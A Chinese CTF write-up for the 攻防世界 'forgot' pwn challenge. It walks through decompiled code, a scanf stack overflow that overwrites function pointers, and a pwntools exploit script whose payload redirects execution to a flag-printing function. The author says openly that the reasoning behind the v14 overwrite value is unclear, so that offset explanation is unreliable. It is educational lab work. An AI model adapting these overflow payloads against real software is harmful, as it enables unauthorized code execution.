下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的
首先我们看一下题目的安全机制:
然后IDA看一下主函数:
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]
v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 0x20, stdin); // 此处没有溢出
sub_80485DD((int)&s); // 输出必要信息
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2); // 此处会存在溢出 32bytes
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == '@' )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == '.' )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))(); // 此处调用cat_flag
return fflush(stdout);
}
同时我们看一下程序的字符串,发现了我们需要的函数:
再回顾主函数,我们发现发现有两个scanf,并显然第二个scanf存在溢出漏洞,并且程序在栈中存放了一系列的函数的地址,而且在程序的最后根据v14的值选择其中一个函数并执行。
我们可以考虑在溢出的时候更改栈中的函数地址,并控制v14的值,使得程序能够跳转执行cat flag
根据程序的switch流程,我们可以很容易使得for循环结束的时候,v14的值为10,v3偏移为0x54, 调用的函数地址的偏移为0x54-0x9=0x4b, 则v2到函数地址的偏移为0x74-0x54+0x9 * 4=0x44, 即在0x44偏移位置填充cat_flag函数地址,然后填充0x2c-0xc=0x20的字符来填充s缓冲区,然后覆盖v14的值。
根据栈帧的结构,我们可以构造如下payload,exp如下:
# 2020/6/17
from pwn import *
print(cyclic(0x74-0x2c))
print(cyclic_find('jaaa'))
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
p = process("/home/tucker/ctf_pwn/forgot")
pwnlib.gdb.attach(p)
p.recv()
p.sendline("tucker")
p.recv()
catflag_addr = 0x80486CC
# payload = 'a' * 36 + p32(catflag_addr) + "@gamil.com"
# cover v14 with 0x8 why is 0x8, not 0x9 or 0xa??
payload = 'a' * 0x44 + p32(catflag_addr) + 'a' * 0x20 + p32(0x8)
p.sendline(payload)
p.interactive()
(此处有个疑惑,此处v14的值为何只能覆盖为0x8,而不能使0x9,或者0xa)
另外在此实验中,我初步了解了使用pwntools附加gdb进程进行调试。这样可以使用我们构造的payload。